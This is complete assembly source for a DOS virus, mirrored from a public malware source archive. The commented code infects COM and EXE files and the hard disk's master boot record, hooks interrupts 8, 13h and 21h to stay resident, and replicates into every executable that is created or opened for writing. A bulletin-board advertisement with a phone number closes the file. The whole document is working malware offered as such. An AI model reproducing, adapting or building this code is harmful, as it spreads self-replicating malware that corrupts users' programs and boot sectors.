mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
572 lines
15 KiB
NASM
572 lines
15 KiB
NASM
cseg segment public 'code'
|
||
assume cs:cseg,ds:cseg,es:cseg
|
||
|
||
;------------------------------------------------------------------------------
|
||
; This virus is an com, exe and partitiontable infector. It will become resident
|
||
; after the first reboot. The virus is stored above TOM but below 640k.
|
||
; When the virus is resident the virus will infect every com and exe-file that
|
||
; is created or opend for read and write. The virus doesn't use any stealth
|
||
; techniques. The virus doesn't do anything besides replicate. I don't have
|
||
; a good name for it, so I named it 'Digital Research Virus'.
|
||
;------------------------------------------------------------------------------
|
||
|
||
SectorCount equ (CodeEnd-$+1ffh) shr 9 ; Codesize in sectors
|
||
MemoryCount equ (DataEnd-$+3ffh) shr 10 ; Memory needed in kb
|
||
|
||
;------------------------------------------------------------------------------
|
||
; The first part of a com-file is overwritten by the following code
|
||
;------------------------------------------------------------------------------
|
||
|
||
ComCS equ this word+4
|
||
|
||
ComEntry:
|
||
mov dx,cs
|
||
add dx,100h
|
||
push dx
|
||
mov dx,offset MainCOM
|
||
push dx
|
||
retf
|
||
dw 0DEADh
|
||
|
||
EntrySize equ ($-ComEntry)
|
||
SavedCode equ this word ; orginal com-entry code
|
||
|
||
OldCSIP equ this dword ; orginal ip,cs,ss and sp
|
||
OldIP dw 0
|
||
OldCS dw -10h
|
||
OldSS dw 0
|
||
OldSP dw 400h
|
||
db EntrySize-8 dup(0)
|
||
|
||
;------------------------------------------------------------------------------
|
||
; The first part of the bootsector is overwritten by the folowing code
|
||
;------------------------------------------------------------------------------
|
||
|
||
BootSector:
|
||
cli ; disable interrupts
|
||
xor bx,bx ; set ds and ss:sp
|
||
mov ds,bx
|
||
mov ss,bx
|
||
mov sp,7c00h
|
||
sti ; enable interrupts
|
||
mov ax,ds:[413h] ; get memorysize
|
||
sub ax,MemoryCount ; adjust memory size
|
||
mov ds:[413h],ax ; store new memorysize
|
||
mov cl,6 ; calculate segment address
|
||
shl ax,cl
|
||
mov es,ax
|
||
push ax ; store segment and offset
|
||
mov ax,offset StartUp ; of startup on stack
|
||
push ax
|
||
mov ax,200h+SectorCount ; read the virus from disk
|
||
mov cx,2
|
||
mov dx,80h
|
||
int 13h
|
||
retf ; jump to startup procedure
|
||
|
||
BootSize equ ($-BootSector)
|
||
|
||
;------------------------------------------------------------------------------
|
||
; startup procedure
|
||
;------------------------------------------------------------------------------
|
||
|
||
StartUp:
|
||
cli ; disable interrupts
|
||
mov ax,offset Interrupt8 ; save old interrupt 8 vector
|
||
xchg ax,ds:[20h] ; and store new vector
|
||
mov word ptr es:SavedInt8[0],ax
|
||
mov ax,cs
|
||
xchg ax,ds:[22h]
|
||
mov word ptr es:SavedInt8[2],ax
|
||
mov cs:Count,182
|
||
sti ; enable interrupts
|
||
push ds ; es=ds
|
||
pop es
|
||
mov bx,7c00h
|
||
push es ; store segment and offset of
|
||
push bx ; bootsector on stack
|
||
mov ax,201h ; read bootsector from disk
|
||
mov cx,1
|
||
mov dx,80h
|
||
int 13h
|
||
push cs ; ds=cs
|
||
pop ds
|
||
mov si,offset OrginalBoot ; restore first part of
|
||
mov di,7c00h ; bootsector
|
||
mov cx,BootSize
|
||
rep movsb
|
||
push es ; ds=es
|
||
pop ds
|
||
retf ; jump to bootsector
|
||
|
||
;------------------------------------------------------------------------------
|
||
; This interrupt will do nothing until it's called for the 182nd time, at that
|
||
; moment 10 seconds have past, and the virus will adjust interrupt vector 13h
|
||
; and 21h
|
||
;------------------------------------------------------------------------------
|
||
|
||
Count dw 182
|
||
|
||
Interrupt8:
|
||
cmp cs:Count,0 ; do nothing if interrupts
|
||
jz Old8 ; are adjusted
|
||
dec cs:Count ; countdown (10 seconds)
|
||
jnz Old8
|
||
push ax ; save registers
|
||
push ds
|
||
xor ax,ax ; ds=0 (Interrupt vectors)
|
||
mov ds,ax
|
||
mov ax,offset Interrupt21 ; save old interrupt vector 21
|
||
xchg ax,ds:[84h] ; and store new vector
|
||
mov word ptr cs:SavedInt21[0],ax
|
||
mov ax,cs
|
||
xchg ax,ds:[86h]
|
||
mov word ptr cs:SavedInt21[2],ax
|
||
mov cs:Handle,0
|
||
pop ds ; restore registers
|
||
pop ax
|
||
Old8: jmp cs:SavedInt8
|
||
|
||
;------------------------------------------------------------------------------
|
||
; This interrupt is installed after 10 seconds, it will then infect every exe
|
||
; file that is created or opened to write. It also contains an installation
|
||
; check
|
||
;------------------------------------------------------------------------------
|
||
|
||
Interrupt21:
|
||
cmp ah,30h
|
||
je Version ; dos version
|
||
cmp ah,3ch
|
||
je Open ; create file
|
||
cmp ax,3d02h
|
||
je Open ; open for write
|
||
cmp ah,3eh
|
||
je Close ; close file
|
||
Old21: jmp cs:SavedInt21 ; do orginal interrupt
|
||
|
||
Open: cmp cs:Handle,0 ; other exe-file opnened ?
|
||
jne Old21 ; yes, can't do anything
|
||
call CheckExe ; check for .exe extension
|
||
jnc ExeFile
|
||
call CheckCom
|
||
jnc ComFile
|
||
jmp Old21
|
||
|
||
ComFile:pushf ; execute orginal interrupt
|
||
call cs:SavedInt21
|
||
jc Fail ; error opening file
|
||
mov cs:Handle,ax ; store handle for infection
|
||
mov cs:Infect,offset InfectCOM ; store infect procedure
|
||
retf 2
|
||
|
||
ExeFile:pushf ; execute orginal interrupt
|
||
call cs:SavedInt21
|
||
jc Fail ; error opening file
|
||
mov cs:Handle,ax ; store handle for infection
|
||
mov cs:Infect,offset InfectEXE ; store infect procedure
|
||
Fail: retf 2
|
||
|
||
Close: or bx,bx ; handle 0 ?
|
||
je Old21 ; do orginal interrupt
|
||
cmp bx,cs:Handle ; handle of exe-file ?
|
||
jne Old21 ; no, do orginal interrupt
|
||
call cs:Infect ; infect file
|
||
mov cs:Handle,0
|
||
jmp Old21 ; do orginal interrupt
|
||
|
||
Version:cmp dx,0DEADh ; installation check
|
||
jne Old21 ; no, do orginal interrupt
|
||
mov ax,dx ; ax=dx
|
||
iret ; return to caller
|
||
|
||
Extension db 'EXE','COM'
|
||
|
||
CheckEXE:
|
||
push bx
|
||
push es
|
||
push cs
|
||
pop es
|
||
mov bx,offset Extension[0]
|
||
call Check
|
||
pop es
|
||
pop bx
|
||
ret
|
||
|
||
CheckCOM:
|
||
push bx
|
||
push es
|
||
push cs
|
||
pop es
|
||
mov bx,offset Extension[3]
|
||
call Check
|
||
pop es
|
||
pop bx
|
||
ret
|
||
|
||
Check: push ax ; check if extension is .exe
|
||
push cx ; save registers
|
||
push si
|
||
push di
|
||
mov al,0 ; al=0
|
||
mov cx,100h ; max length is 100h characters
|
||
mov di,dx ; di=begin of filename
|
||
Nxt: jcxz Other ; length > 100h characters,
|
||
; must be an other file
|
||
inc di
|
||
dec cx
|
||
cmp byte ptr ds:[di-1],0 ; end of filename ?
|
||
je Last
|
||
cmp byte ptr ds:[di-1],'.' ; point ?
|
||
jne Nxt ; no, next character
|
||
mov si,di ; si=di, si=last point
|
||
mov al,1 ; al=1, al=1 if point found
|
||
jmp Nxt ; next character
|
||
Last: or al,al ; point found ?
|
||
je Other ; no, it's not an exe-file
|
||
mov di,bx
|
||
cld
|
||
lodsw ; get 2 bytes after '.'
|
||
and ax,0dfdfh ; uppercase
|
||
scasw ; compare
|
||
jne Other
|
||
lodsb ; get 1 byte
|
||
and al,0dfh ; uppercase
|
||
scasb ; compare
|
||
jne Other ; no, not an exe-file
|
||
clc ; clear carry, exe-file
|
||
jmp Done ; return to caller
|
||
Other: stc ; set carry, not an exe-file
|
||
Done: pop di ; restore registers
|
||
pop si
|
||
pop cx
|
||
pop ax
|
||
ret ; return to caller
|
||
|
||
;------------------------------------------------------------------------------
|
||
; this procedure infects an exe-file that is opened and the handle is in bx
|
||
;------------------------------------------------------------------------------
|
||
|
||
InfectEXE:
|
||
push ax ; save registers
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push ds
|
||
push es
|
||
push cs ; ds=es=cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
mov ax,4200h ; goto top of file
|
||
xor cx,cx
|
||
xor dx,dx
|
||
call DOS
|
||
mov ah,3fh ; read exe-header
|
||
mov cx,1ch
|
||
mov dx,offset ExeHeader
|
||
call ReadWrite
|
||
cmp ChkSum,0DEADh
|
||
call ReturnEqual
|
||
mov ChkSum,0DEADh
|
||
mov ax,ExeIP ; save orginal ip,cs,ss and sp
|
||
mov OldIP,ax
|
||
mov ax,ExeCS
|
||
mov OldCS,ax
|
||
mov ax,ExeSS
|
||
mov OldSS,ax
|
||
mov ax,ExeSP
|
||
mov OldSP,ax
|
||
mov ax,PageCount ; calculate new cs and ss
|
||
mov dx,PartPage
|
||
or dx,dx
|
||
jz Zero1
|
||
dec ax
|
||
Zero1: add dx,0fh
|
||
mov cl,4
|
||
shr dx,cl
|
||
inc cl
|
||
shl ax,cl
|
||
add ax,dx
|
||
mov dx,ax
|
||
sub dx,HeaderSize
|
||
mov ExeCS,dx ; store new cs,ip,ss and sp
|
||
mov ExeIP,offset MainEXE
|
||
mov ExeSS,dx
|
||
mov ExeSP,offset CodeSize+800h
|
||
mov dx,10h ; calculate offset in file
|
||
mul dx
|
||
push ax ; save offset
|
||
push dx
|
||
add ax,offset CodeSize ; calculate new image size
|
||
adc dx,0
|
||
mov cx,200h
|
||
div cx
|
||
or dx,dx
|
||
je Zero2
|
||
inc ax
|
||
Zero2: mov PageCount,ax
|
||
mov PartPage,dx
|
||
cmp MinMem,80h
|
||
jae MinOk
|
||
mov MinMem,80h
|
||
MinOk: cmp MaxMem,80h
|
||
jae MaxOk
|
||
mov MaxMem,80h
|
||
MaxOk: pop cx ; restore offset
|
||
pop dx
|
||
mov ax,4200h ; goto found offset
|
||
call DOS
|
||
mov ah,40h ; write virus
|
||
mov cx,offset CodeSize
|
||
xor dx,dx
|
||
call ReadWrite
|
||
mov ax,4200h ; goto top of file
|
||
xor cx,cx
|
||
xor dx,dx
|
||
call DOS
|
||
mov ah,40h ; write new exe-header
|
||
mov cx,1ch
|
||
mov dx,offset ExeHeader
|
||
call DOS
|
||
jmp Return
|
||
Error: add sp,2 ; get return address of stack
|
||
Return: pop es ; restore registers
|
||
pop ds
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
ret ; return to caller
|
||
|
||
;------------------------------------------------------------------------------
|
||
; jumps to error when z-flag is 1
|
||
;------------------------------------------------------------------------------
|
||
|
||
ReturnEqual:
|
||
je Error
|
||
ret
|
||
|
||
;------------------------------------------------------------------------------
|
||
; this procedure executes the orginal interrupt 21h, if ax is not equal to cx
|
||
; an error occured. This procedure is called from InfectEXE and InfectCOM
|
||
;------------------------------------------------------------------------------
|
||
|
||
ReadWrite:
|
||
pushf
|
||
cli
|
||
call cs:SavedInt21
|
||
jc Error
|
||
cmp ax,cx
|
||
jne Error
|
||
ret
|
||
|
||
;------------------------------------------------------------------------------
|
||
; this procedure executes the orginal interrupt 21h, and is called from
|
||
; InfectEXE and InfectCOM
|
||
;------------------------------------------------------------------------------
|
||
|
||
DOS: pushf ; call orginal interrupt 21h
|
||
cli
|
||
call cs:SavedInt21
|
||
jc Error ; error? yes, jump to error
|
||
ret ; return to caller
|
||
|
||
;------------------------------------------------------------------------------
|
||
; this procedure infects an exe-file that is opened and the handle is in bx
|
||
;------------------------------------------------------------------------------
|
||
|
||
InfectCOM:
|
||
push ax ; save registers
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push ds
|
||
push es
|
||
push cs ; ds=es=cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
mov ax,4200h ; goto top of file
|
||
xor cx,cx
|
||
xor dx,dx
|
||
call DOS
|
||
mov ah,3fh ; read first 3 bytes
|
||
mov cx,EntrySize
|
||
mov dx,offset SavedCode
|
||
call ReadWrite
|
||
mov si,offset SavedCode
|
||
mov di,offset ComEntry
|
||
mov cx,EntrySize
|
||
rep cmpsb
|
||
je Return
|
||
mov ax,4202h ; goto end of file
|
||
xor cx,cx
|
||
xor dx,dx
|
||
call DOS
|
||
or dx,dx
|
||
ja Error
|
||
cmp ax,0f000h
|
||
ja Error
|
||
add ax,0fh
|
||
mov cl,4 ; prepare the com-entry
|
||
shr ax,cl
|
||
add ax,10h
|
||
mov ComCS,ax
|
||
sub ax,10h
|
||
shl ax,cl ; goto end of file
|
||
mov dx,ax
|
||
mov ax,4200h
|
||
xor cx,cx
|
||
call DOS
|
||
mov ah,40h ; write virus at the and of the
|
||
mov cx,offset CodeSize ; com-file
|
||
xor dx,dx
|
||
call ReadWrite
|
||
mov ax,4200h
|
||
xor cx,cx
|
||
xor dx,dx
|
||
call DOS
|
||
mov ah,40h
|
||
mov cx,EntrySize
|
||
mov dx,offset ComEntry
|
||
call DOS
|
||
jmp Return
|
||
|
||
;------------------------------------------------------------------------------
|
||
; This procedure infects the master bootsector of the first harddisk. There are
|
||
; no registers saved.
|
||
;------------------------------------------------------------------------------
|
||
|
||
InfectBoot:
|
||
mov ah,30h ; installation check
|
||
mov dx,0DEADh
|
||
int 21h
|
||
cmp ax,dx
|
||
je Infected
|
||
push cs ; ds=es=cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
mov ax,201h ; read bootsector
|
||
mov bx,offset OrginalBoot
|
||
mov cx,1
|
||
mov dx,80h
|
||
int 13h
|
||
jc Infected
|
||
mov si,offset OrginalBoot ; compare bootsector with viral
|
||
mov di,offset BootSector ; bootsector
|
||
mov cx,BootSize
|
||
repe cmpsb
|
||
je Infected
|
||
mov ax,300h+SectorCount ; write virus to disk
|
||
xor bx,bx
|
||
mov cx,2
|
||
mov dx,80h
|
||
int 13h
|
||
jc Infected
|
||
mov si,offset BootSector ; adjust bootsector
|
||
mov di,offset OrginalBoot
|
||
mov cx,BootSize
|
||
rep movsb
|
||
mov ax,301h ; write bootsector to disk
|
||
mov bx,offset OrginalBoot
|
||
mov cx,1
|
||
mov dx,80h
|
||
int 13h
|
||
Infected:
|
||
ret ; return to caller
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; this is the main procedure, when starting up from an com-file, it will
|
||
; check if the first harddisk is infected, if not it will infect it.
|
||
;------------------------------------------------------------------------------
|
||
|
||
MainCOM:push ds
|
||
mov dx,100h
|
||
push dx
|
||
push ax
|
||
push ds
|
||
push es
|
||
push cs
|
||
pop ds
|
||
mov si,offset SavedCode
|
||
mov di,dx
|
||
mov cx,EntrySize
|
||
rep movsb
|
||
call InfectBoot
|
||
pop es
|
||
pop ds
|
||
pop ax
|
||
retf
|
||
|
||
;------------------------------------------------------------------------------
|
||
; this is the main procedure, when starting up from an exe-file, it will
|
||
; check if the first harddisk is infected, if not it will infect it.
|
||
;------------------------------------------------------------------------------
|
||
|
||
|
||
MainEXE:push ax ; save registers
|
||
push ds
|
||
push es
|
||
mov ax,ds ; adjust cs and ss
|
||
add ax,10h
|
||
add cs:OldCS,ax
|
||
add cs:OldSS,ax
|
||
call InfectBoot ; infect the bootsector
|
||
pop es ; restore registers
|
||
pop ds
|
||
pop ax
|
||
mov ss,cs:OldSS ; set ss:sp
|
||
mov sp,cs:OldSP
|
||
jmp cs:OldCSIP ; jump to orginal code
|
||
|
||
CodeSize equ $
|
||
|
||
;------------------------------------------------------------------------------
|
||
; the first part of the orginal bootsector is stored here
|
||
;------------------------------------------------------------------------------
|
||
|
||
OrginalBoot db BootSize dup(0)
|
||
CodeEnd equ $
|
||
|
||
;------------------------------------------------------------------------------
|
||
; the variables used by the virus when its resident are stored here
|
||
;------------------------------------------------------------------------------
|
||
|
||
SavedInt8 dd 0 ; orginal interrupt 8
|
||
SavedInt21 dd 0 ; orginal interrupt 21
|
||
Handle dw 0 ; handle of first exe-file
|
||
; opened
|
||
Infect dw 0 ; offset infect procedure
|
||
|
||
Buffer equ this byte
|
||
ExeHeader dw 0dh dup(0) ; exe-header is stored here
|
||
|
||
Signature equ ExeHeader[0] ; exe-signature 'MZ'
|
||
PartPage equ ExeHeader[2] ; size of partitial page
|
||
PageCount equ ExeHeader[4] ; number of pages (200h bytes)
|
||
HeaderSize equ ExeHeader[8] ; size of the exe-header
|
||
MinMem equ ExeHeader[0ah] ; minimum memory needed
|
||
MaxMem equ ExeHeader[0ch] ; maximum memory needed
|
||
ExeSS equ ExeHeader[0eh] ; SS
|
||
ExeSP equ ExeHeader[10h] ; SP
|
||
ChkSum equ ExeHeader[12h] ; checksum, DEAD if infected
|
||
ExeIP equ ExeHeader[14h] ; IP
|
||
ExeCS equ ExeHeader[16h] ; CS
|
||
|
||
DataEnd equ $
|
||
|
||
cseg ends
|
||
|
||
sseg segment stack 'stack'
|
||
db 400h dup(?)
|
||
sseg ends
|
||
|
||
end MainEXE
|
||
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|